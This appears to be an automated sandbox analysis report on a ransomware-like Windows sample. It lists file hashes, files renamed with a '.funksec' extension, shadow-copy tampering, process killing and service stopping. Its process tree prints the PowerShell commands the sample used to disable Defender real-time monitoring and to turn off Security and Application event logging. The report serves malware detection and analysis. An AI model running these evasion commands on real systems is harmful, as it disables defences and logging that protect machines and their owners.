Analysis
- max time kernel
121s - max time network
139s - platform
windows10-2004_x64 - resource
win10v2004-20250610-en - resource tags
arch:x64arch:x86image:win10v2004-20250610-enlocale:en-usos:windows10-2004-x64system - submitted
30/07/2025, 09:45
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe
Resource
win10v2004-20250610-en
windows10-2004-x64
11 signatures
150 seconds
General
- Target c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe
- Size 5.2MB
- Sample250730-lrfdeadl4x
- SHA256 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c
- MD5 c5c47f7a17ef4533d1c162042aa0313b
- SHA1 b1022afe74471f945b18efed4366598bc6abb192
- SHA512 1c7464e618f0bbb43f3542ad62be55be033dd728d2319d588c8c382d378f91659a66b5de1fecc2e58fb2f35c1aa805c0055cb0b16de0e4fb0a58e6e9a79d6624
- SSDEEP 49152:yhAgCUb8qhT102j9TpEjf86tLBaYAJRoYqu/pGNJtYBTQc/RUszECUIP9muvkkaI:T8cHLwtUvOa35Na6W
- MD5 SHA1 SHA512 SSDEEP
Score
8/10
Malware Config
Signatures
- Stops running service(s) 4 TTPs
-
pid Process 5456 powershell.exe 32 powershell.exe 4620 powershell.exe 4980 powershell.exe 1776 powershell.exe 3100 powershell.exe 1504 powershell.exe - Drops file in System32 directory 14 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\wbem\repository svchost.exe File opened for modification C:\Windows\system32\wbem\repository\MAPPING1.MAP svchost.exe File opened for modification C:\Windows\system32\wbem\repository\MAPPING3.MAP svchost.exe File opened for modification C:\Windows\system32\wbem\repository\OBJECTS.DATA svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe File opened for modification C:\Windows\system32\wbem\repository\WRITABLE.TST svchost.exe File opened for modification C:\Windows\system32\wbem\repository\MAPPING2.MAP svchost.exe File opened for modification C:\Windows\system32\wbem\repository\INDEX.BTR svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\7-Zip\Lang\hi.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\tg.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-runtime-l1-1-0.dll.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\7zFM.exe.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\lt.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\ne.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\zh-tw.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-core-file-l2-1-0.dll.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-math-l1-1-0.dll.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-conio-l1-1-0.dll.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\be.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\hu.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\ru.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\sr-spl.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\ug.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\ga.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\ms.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-core-processthreads-l1-1-1.dll.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-core-timezone-l1-1-0.dll.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-environment-l1-1-0.dll.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\nn.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-private-l1-1-0.dll.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\th.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\chrome_installer.log.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-core-xstate-l2-1-0.dll.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\af.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\hr.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\hy.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\io.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\fy.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\mk.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\nb.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-convert-l1-1-0.dll.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\License.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\bn.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\it.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\pa-in.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\sk.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-heap-l1-1-0.dll.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\bg.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\da.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-time-l1-1-0.dll.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\cy.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\ku-ckb.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-core-synch-l1-2-0.dll.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\zh-cn.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-core-file-l1-2-0.dll.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\ar.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\el.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\gl.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\readme.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-process-l1-1-0.dll.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\7z.dll.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\ext.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\fi.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\pl.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\sw.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\History.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\ky.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\pt.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\tt.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\uz.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\7-zip32.dll.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe File opened for modification C:\Program Files\7-Zip\Lang\kab.txt.funksec c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe - Launches sc.exe 33 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 5876 sc.exe 1732 sc.exe 4060 sc.exe 5992 sc.exe 1248 sc.exe 3544 sc.exe 3208 sc.exe 2672 sc.exe 5896 sc.exe 5616 sc.exe 6132 sc.exe 4144 sc.exe 5056 sc.exe 6020 sc.exe 5472 sc.exe 5804 sc.exe 5648 sc.exe 5532 sc.exe 1396 sc.exe 4184 sc.exe 1476 sc.exe 1492 sc.exe 496 sc.exe 4412 sc.exe 1796 sc.exe 5312 sc.exe 2964 sc.exe 3444 sc.exe 1352 sc.exe 3324 sc.exe 3964 sc.exe 1212 sc.exe 2868 sc.exe - Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2636 vssadmin.exe - Kills process with taskkill 19 IoCs
pid Process 5920 taskkill.exe 5428 taskkill.exe 5676 taskkill.exe 6036 taskkill.exe 3156 taskkill.exe 1144 taskkill.exe 5828 taskkill.exe 2780 taskkill.exe 1648 taskkill.exe 3772 taskkill.exe 1512 taskkill.exe 3412 taskkill.exe 6072 taskkill.exe 5400 taskkill.exe 5308 taskkill.exe 2528 taskkill.exe 5664 taskkill.exe 5784 taskkill.exe 6140 taskkill.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 21 IoCs
pid Process 5456 powershell.exe 5456 powershell.exe 1776 powershell.exe 1776 powershell.exe 3100 powershell.exe 32 powershell.exe 3100 powershell.exe 32 powershell.exe 4620 powershell.exe 4620 powershell.exe 3100 powershell.exe 1504 powershell.exe 1504 powershell.exe 4980 powershell.exe 4980 powershell.exe 5456 powershell.exe 32 powershell.exe 1776 powershell.exe 4620 powershell.exe 1504 powershell.exe 4980 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 5456 powershell.exe Token: SeDebugPrivilege 5676 taskkill.exe Token: SeDebugPrivilege 5400 taskkill.exe Token: SeDebugPrivilege 3412 taskkill.exe Token: SeDebugPrivilege 5428 taskkill.exe Token: SeDebugPrivilege 1144 taskkill.exe Token: SeDebugPrivilege 2528 taskkill.exe Token: SeDebugPrivilege 2780 taskkill.exe Token: SeDebugPrivilege 5664 taskkill.exe Token: SeDebugPrivilege 1776 powershell.exe Token: SeDebugPrivilege 3100 powershell.exe Token: SeDebugPrivilege 32 powershell.exe Token: SeDebugPrivilege 6072 taskkill.exe Token: SeDebugPrivilege 3772 taskkill.exe Token: SeDebugPrivilege 5308 taskkill.exe Token: SeDebugPrivilege 1648 taskkill.exe Token: SeDebugPrivilege 3156 taskkill.exe Token: SeDebugPrivilege 1512 taskkill.exe Token: SeDebugPrivilege 5920 taskkill.exe Token: SeDebugPrivilege 5784 taskkill.exe Token: SeDebugPrivilege 6036 taskkill.exe Token: SeDebugPrivilege 6140 taskkill.exe Token: SeDebugPrivilege 4620 powershell.exe Token: SeDebugPrivilege 4980 powershell.exe Token: SeDebugPrivilege 1504 powershell.exe Token: SeDebugPrivilege 5828 taskkill.exe Token: SeAssignPrimaryTokenPrivilege 2460 svchost.exe Token: SeIncreaseQuotaPrivilege 2460 svchost.exe Token: SeSecurityPrivilege 2460 svchost.exe Token: SeTakeOwnershipPrivilege 2460 svchost.exe Token: SeLoadDriverPrivilege 2460 svchost.exe Token: SeSystemtimePrivilege 2460 svchost.exe Token: SeBackupPrivilege 2460 svchost.exe Token: SeRestorePrivilege 2460 svchost.exe Token: SeShutdownPrivilege 2460 svchost.exe Token: SeSystemEnvironmentPrivilege 2460 svchost.exe Token: SeUndockPrivilege 2460 svchost.exe Token: SeManageVolumePrivilege 2460 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2460 svchost.exe Token: SeIncreaseQuotaPrivilege 2460 svchost.exe Token: SeSecurityPrivilege 2460 svchost.exe Token: SeTakeOwnershipPrivilege 2460 svchost.exe Token: SeLoadDriverPrivilege 2460 svchost.exe Token: SeSystemtimePrivilege 2460 svchost.exe Token: SeBackupPrivilege 2460 svchost.exe Token: SeRestorePrivilege 2460 svchost.exe Token: SeShutdownPrivilege 2460 svchost.exe Token: SeSystemEnvironmentPrivilege 2460 svchost.exe Token: SeUndockPrivilege 2460 svchost.exe Token: SeManageVolumePrivilege 2460 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2460 svchost.exe Token: SeIncreaseQuotaPrivilege 2460 svchost.exe Token: SeSecurityPrivilege 2460 svchost.exe Token: SeTakeOwnershipPrivilege 2460 svchost.exe Token: SeLoadDriverPrivilege 2460 svchost.exe Token: SeSystemtimePrivilege 2460 svchost.exe Token: SeBackupPrivilege 2460 svchost.exe Token: SeRestorePrivilege 2460 svchost.exe Token: SeShutdownPrivilege 2460 svchost.exe Token: SeSystemEnvironmentPrivilege 2460 svchost.exe Token: SeUndockPrivilege 2460 svchost.exe Token: SeManageVolumePrivilege 2460 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2460 svchost.exe Token: SeIncreaseQuotaPrivilege 2460 svchost.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 5732 wrote to memory of 4632 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 85 PID 5732 wrote to memory of 4632 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 85 PID 4632 wrote to memory of 5612 4632 net.exe 86 PID 4632 wrote to memory of 5612 4632 net.exe 86 PID 5732 wrote to memory of 1776 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 87 PID 5732 wrote to memory of 1776 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 87 PID 5732 wrote to memory of 32 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 88 PID 5732 wrote to memory of 32 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 88 PID 5732 wrote to memory of 5456 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 89 PID 5732 wrote to memory of 5456 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 89 PID 5732 wrote to memory of 3100 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 90 PID 5732 wrote to memory of 3100 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 90 PID 5732 wrote to memory of 3156 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 91 PID 5732 wrote to memory of 3156 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 91 PID 5732 wrote to memory of 5308 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 92 PID 5732 wrote to memory of 5308 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 92 PID 5732 wrote to memory of 5400 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 93 PID 5732 wrote to memory of 5400 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 93 PID 5732 wrote to memory of 1648 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 94 PID 5732 wrote to memory of 1648 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 94 PID 5732 wrote to memory of 2780 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 95 PID 5732 wrote to memory of 2780 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 95 PID 5732 wrote to memory of 3412 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 96 PID 5732 wrote to memory of 3412 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 96 PID 5732 wrote to memory of 1512 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 97 PID 5732 wrote to memory of 1512 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 97 PID 5732 wrote to memory of 6036 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 98 PID 5732 wrote to memory of 6036 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 98 PID 5732 wrote to memory of 6140 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 99 PID 5732 wrote to memory of 6140 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 99 PID 5732 wrote to memory of 5784 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 100 PID 5732 wrote to memory of 5784 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 100 PID 5732 wrote to memory of 5828 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 101 PID 5732 wrote to memory of 5828 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 101 PID 5732 wrote to memory of 5428 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 102 PID 5732 wrote to memory of 5428 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 102 PID 5732 wrote to memory of 5920 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 103 PID 5732 wrote to memory of 5920 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 103 PID 5732 wrote to memory of 3772 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 104 PID 5732 wrote to memory of 3772 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 104 PID 5732 wrote to memory of 5664 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 105 PID 5732 wrote to memory of 5664 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 105 PID 5732 wrote to memory of 5676 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 106 PID 5732 wrote to memory of 5676 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 106 PID 5732 wrote to memory of 6072 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 107 PID 5732 wrote to memory of 6072 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 107 PID 5732 wrote to memory of 1144 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 108 PID 5732 wrote to memory of 1144 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 108 PID 5732 wrote to memory of 2528 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 109 PID 5732 wrote to memory of 2528 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 109 PID 5732 wrote to memory of 1212 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 110 PID 5732 wrote to memory of 1212 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 110 PID 5732 wrote to memory of 1248 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 111 PID 5732 wrote to memory of 1248 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 111 PID 5732 wrote to memory of 5312 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 112 PID 5732 wrote to memory of 5312 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 112 PID 5732 wrote to memory of 3208 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 113 PID 5732 wrote to memory of 3208 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 113 PID 5732 wrote to memory of 3964 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 114 PID 5732 wrote to memory of 3964 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 114 PID 5732 wrote to memory of 2868 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 115 PID 5732 wrote to memory of 2868 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 115 PID 5732 wrote to memory of 4184 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 116 PID 5732 wrote to memory of 4184 5732 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe 116
Processes
-
C:\Users\Admin\AppData\Local\Temp\c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe"C:\Users\Admin\AppData\Local\Temp\c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe"1⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:5732 -
C:\Windows\system32\net.exe"net" session2⤵
- Suspicious use of WriteProcessMemory
PID:4632 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session3⤵PID:5612
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1776
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "wevtutil sl Security /e:false"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:32 -
C:\Windows\system32\wevtutil.exe"C:\Windows\system32\wevtutil.exe" sl Security /e:false3⤵PID:2144
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "wevtutil sl Application /e:false"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5456 -
C:\Windows\system32\wevtutil.exe"C:\Windows\system32\wevtutil.exe" sl Application /e:false3⤵PID:5172
-
-
-
